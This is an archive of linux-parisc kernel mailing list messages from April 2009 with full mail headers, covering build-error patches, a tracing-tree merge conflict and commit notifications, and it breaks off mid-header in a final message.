Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763485AbZDAQmf convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 12:42:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762485AbZDAQmf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 12:42:35 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:38173 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761361AbZDAQmf convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 12:42:35 -0400
Original-Received: by ewy9 with SMTP id 9so138187ewy.37
        for <linux-parisc@vger.kernel.org>; Wed, 01 Apr 2009 09:42:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=AkqCctURxj0aoOM48pSISH/fYLbE3b5Go5P2zk0OlGk=;
        b=CUvWXb7kWGA9hA18UHRf54IA3wTrzaj7sEVphHyYL8To+E6Btnu6JCg0RENWvAXDvN
         lz2JrMnFW3HYPmu+jWzB2fVHjkAMOcGGlIeN0bAhR9sqCqqOpYKGSKNUu+OCi7Jt5v5B
         hlY4tR6Oadny7z7H56CQlwEeq1wgzdgT9aFqs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=i43PdzBxawgsgSCvCCUpgMMd9X2DeMZv24jitRQzoa2JXHLiI7GEn6H0S4yPdBLxec
         rGHWlKVeSWjJIH9FpT+7MPqkSf19n49ITVkJr8ca1Ej25FBFJF2ahjNvRaUYGi2/fE08
         UTB86bRHsdPPyOv9fn6e5k1g9yoCh+uSI+eaY=
Original-Received: by 10.210.142.6 with SMTP id p6mr4589211ebd.70.1238604151491; Wed, 
	01 Apr 2009 09:42:31 -0700 (PDT)
In-Reply-To: <20090325140909.GF19208@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1445
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1445>

2009/3/25 Kyle McMartin <kyle@mcmartin.ca>:
> On Wed, Mar 25, 2009 at 05:02:21PM +0300, Alexander Beregalov wrote:
>> arch/parisc/kernel/traps.c: In function 'handle_break':
>> arch/parisc/kernel/traps.c:321: error: 'PARISC_BUG_BREAK_INSN'
>> undeclared (first use in this function)
>>
>> # CONFIG_BUG is not set
>> CONFIG_EMBEDDED=3Dy
>>
>> Is it a reasonable config?
>
> imho, no.
>
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index aacf11d..efac22a 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -12,6 +12,7 @@ config PARISC
> =C2=A0 =C2=A0 =C2=A0 =C2=A0select RTC_CLASS
> =C2=A0 =C2=A0 =C2=A0 =C2=A0select RTC_DRV_PARISC
> =C2=A0 =C2=A0 =C2=A0 =C2=A0select INIT_ALL_POSSIBLE
> + =C2=A0 =C2=A0 =C2=A0 select BUG
> =C2=A0 =C2=A0 =C2=A0 =C2=A0help
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0The PA-RISC microprocessor is desig=
ned by Hewlett-Packard and used
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0in many of their workstations & ser=
vers (HP9000 700 and 800 series,
>
It still fails.
Could you please add it to your branch.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Wed, 1 Apr 2009 13:50:34 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20090401175033.GE1443@bombadil.infradead.org>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238608269 18078 80.91.229.12 (1 Apr 2009 17:51:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 17:51:09 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 19:52:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp4bs-0000eW-I9
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 19:52:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754949AbZDARuz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 13:50:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755405AbZDARuz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 13:50:55 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55778 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754949AbZDARuy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 13:50:54 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lp4aA-0004ZH-2o; Wed, 01 Apr 2009 17:50:34 +0000
Content-Disposition: inline
In-Reply-To: <20090401113740.7f425e02.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1446 gmane.linux.kernel.next:6717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1446>

On Wed, Apr 01, 2009 at 11:37:40AM +1100, Stephen Rothwell wrote:
> Hi all,
> 
> Today's linux-next merge of the tracing tree got a conflict in
> arch/parisc/include/asm/ftrace.h between commit
> d75f054a2cf0614ff63d534ff21ca8eaab41e713 ("parisc: add ftrace (function
> and graph tracer) functionality") from the parisc tree and commit
> c79a61f55773d2519fd0525bf58385f7d20752d3 ("tracing: make CALLER_ADDRx
> overwriteable") from the tracing tree.
> 
> The former adds a non-trivial version of the file, so I used that.
>

Thanks Stephen,

What's the optimal way to sort out multiple branches in this tree?
Apparently Andrew is cross with me because the rtc-parisc branch didn't
get picked up... Should I put a list of branches in my kernel.org
public_html or something?

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: [PATCH next] parisc: asm/pdc.h should include asm/page.h
Date: Wed, 1 Apr 2009 19:30:01 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20090401233001.GF1443@bombadil.infradead.org>
References: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com> <20090401150115.GA1443@bombadil.infradead.org> <a4423d670904010806j7de7b311yb3137e8b73ad12f2@mail.gmail.com> <20090401150956.GB1443@bombadil.infradead.org> <a4423d670904010843r76c3a4faxd2841387772be89@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238628700 23789 80.91.229.12 (1 Apr 2009 23:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 23:31:40 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 01:32:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp9uB-0006rv-PY
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 01:31:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936036AbZDAXaJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 19:30:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S936039AbZDAXaI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 19:30:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47308 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S936036AbZDAXaG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 19:30:06 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lp9sf-0002W7-Uj; Wed, 01 Apr 2009 23:30:01 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904010843r76c3a4faxd2841387772be89@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1447 gmane.linux.kernel.next:6720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1447>

On Wed, Apr 01, 2009 at 07:43:40PM +0400, Alexander Beregalov wrote:
> From: Alexander Beregalov <a.beregalov@gmail.com>
> Subject: [PATCH] parisc: asm/pdc.h should include asm/page.h
> 
> Fixes this build error:
> arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>

Thanks, applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel/traps.c PARISC_BUG_BREAK_INSN undeclared
Date: Wed, 1 Apr 2009 19:30:38 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090401233038.GG1443@bombadil.infradead.org>
References: <a4423d670903250702k2e5d803jb2caf9f9752f1e0a@mail.gmail.com> <20090325140909.GF19208@bombadil.infradead.org> <a4423d670904010942w1144327cm1ac3688b5122a397@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238628906 24239 80.91.229.12 (1 Apr 2009 23:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 23:35:06 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 01:36:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp9vT-0007EX-8Y
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 01:32:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934630AbZDAXao (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 19:30:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S936069AbZDAXan
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 19:30:43 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47360 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935681AbZDAXam (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 19:30:42 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lp9tG-0003Yx-Qt; Wed, 01 Apr 2009 23:30:38 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904010942w1144327cm1ac3688b5122a397@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1448
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1448>

On Wed, Apr 01, 2009 at 08:42:31PM +0400, Alexander Beregalov wrote:
> It still fails.
> Could you please add it to your branch.
> 

I was hoping someone would confirm the patch worked, or tell me I'm an
idiot or something... ;-)

Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 00:13:53 GMT
Lines: 27
Approved: news@gmane.org
Message-ID: <200904020013.n320DrDU010176@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238631259 29684 80.91.229.12 (2 Apr 2009 00:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 00:14:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 02:15:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpAam-0007Ta-VY
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 02:15:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758150AbZDBAN6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 20:13:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933554AbZDBAN5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 20:13:57 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:60409 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758150AbZDBAN4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 20:13:56 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/xEK2MiGrMKEgE6aPu2amvaIx35UVLjYA@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n320DrvI010178
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 00:13:53 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n320DrDU010176
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 00:13:53 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 00:13:55 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1449
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1449>

New commits:
commit 1ab2eaa2c16c2467bbd94514ec6c1fe5129546c7
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Fri Mar 20 14:55:50 2009 +0000

    parisc: led: remove proc_dir_entry::owner
    
    proc_dir_entry::owner was removed in 0702c1c1a4
    (proc 2/2: remove struct proc_dir_entry::owner)
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 47e669ce10901dc92960096653d6b22990b5188f
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Sun Mar 22 03:58:40 2009 +0000

    parisc: fix macro expansion in atomic.h
    
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 00:20:32 GMT
Lines: 18
Approved: news@gmane.org
Message-ID: <200904020020.n320KWsK013000@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238631645 30456 80.91.229.12 (2 Apr 2009 00:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 00:20:45 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 02:22:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpAh0-00008G-71
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 02:22:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933574AbZDBAUg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 20:20:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933554AbZDBAUg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 20:20:36 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:43988 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760363AbZDBAUf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 20:20:35 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/q/psujskc3LvbHgR8cU8ETqLBTPQMzFo@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n320KWQn013006
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 00:20:32 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n320KWsK013000
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 00:20:32 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 00:20:34 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1450
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1450>

New commits:
commit d845e1fbf2d48f6556fbfae7ec04adf67ab14bca
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Wed Apr 1 15:43:40 2009 +0000

    parisc: asm/pdc.h should include asm/page.h
    
    Fixes this build error:
    arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 04:20:49 +0400
Lines: 12
Approved: news@gmane.org
Message-ID: <a4423d670904011720y52fbcd29j1831b669d751818a@mail.gmail.com>
References: <200904020013.n320DrDU010176@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238631671 30509 80.91.229.12 (2 Apr 2009 00:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 00:21:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@hera.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 02:22:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpAhS-0000Dm-6m
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 02:22:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758540AbZDBAUx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 20:20:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933812AbZDBAUx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 20:20:53 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:59896 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933602AbZDBAUv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 20:20:51 -0400
Original-Received: by ewy9 with SMTP id 9so312475ewy.37
        for <linux-parisc@vger.kernel.org>; Wed, 01 Apr 2009 17:20:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=T2sny/eCy5WyqmuDQRgmow8dR0IiDQt8ZKG1P1LZC0o=;
        b=HJUnv5WEfTzoRSdxHOLDbVIO36T6WjO2HODDs2Bnl7itcAhALXA/ht9JKkGmM4rr2U
         Dzr6OQa2r6ucj26y7ElgwPZiueyMeyd1CaOoeXrKTGMI3vpIFM3T3bTOf9nEe4zcmWjO
         Zat0FcLlxkC6fJlZmBiWQvQ7hq8DHjL588eqo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=eB+kfEGkWLo9EIdpPUxRbSx0S0MxtibPZFlH6/DV9PZXshbP0PEl6ViZT6pEEpzj++
         PF+5HbVS7gQ/oFSEEXdQuCupTvBw/QR7chQa3tbfKkmxnbDgrT7eFWmKrgmqe8AktQT+
         emejv7WKhJGgJFuEtvNP2MFXb7WscrsUw/PHU=
Original-Received: by 10.210.57.12 with SMTP id f12mr986262eba.96.1238631649322; Wed, 
	01 Apr 2009 17:20:49 -0700 (PDT)
In-Reply-To: <200904020013.n320DrDU010176@hera.kernel.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1451
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1451>

2009/4/2 Kyle McMartin <kyle@hera.kernel.org>:
> New commits:

Thanks Kyle.

Do you have objections against patch
http://patchwork.kernel.org/patch/13039/ ?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Wed, 1 Apr 2009 20:31:39 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090402003139.GH1443@bombadil.infradead.org>
References: <20090121143130.GC27998@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238632322 31843 80.91.229.12 (2 Apr 2009 00:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 00:32:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 02:33:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpArp-0001zh-1v
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 02:33:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758665AbZDBAbn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 20:31:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757055AbZDBAbn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 20:31:43 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45049 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758665AbZDBAbm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 20:31:42 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
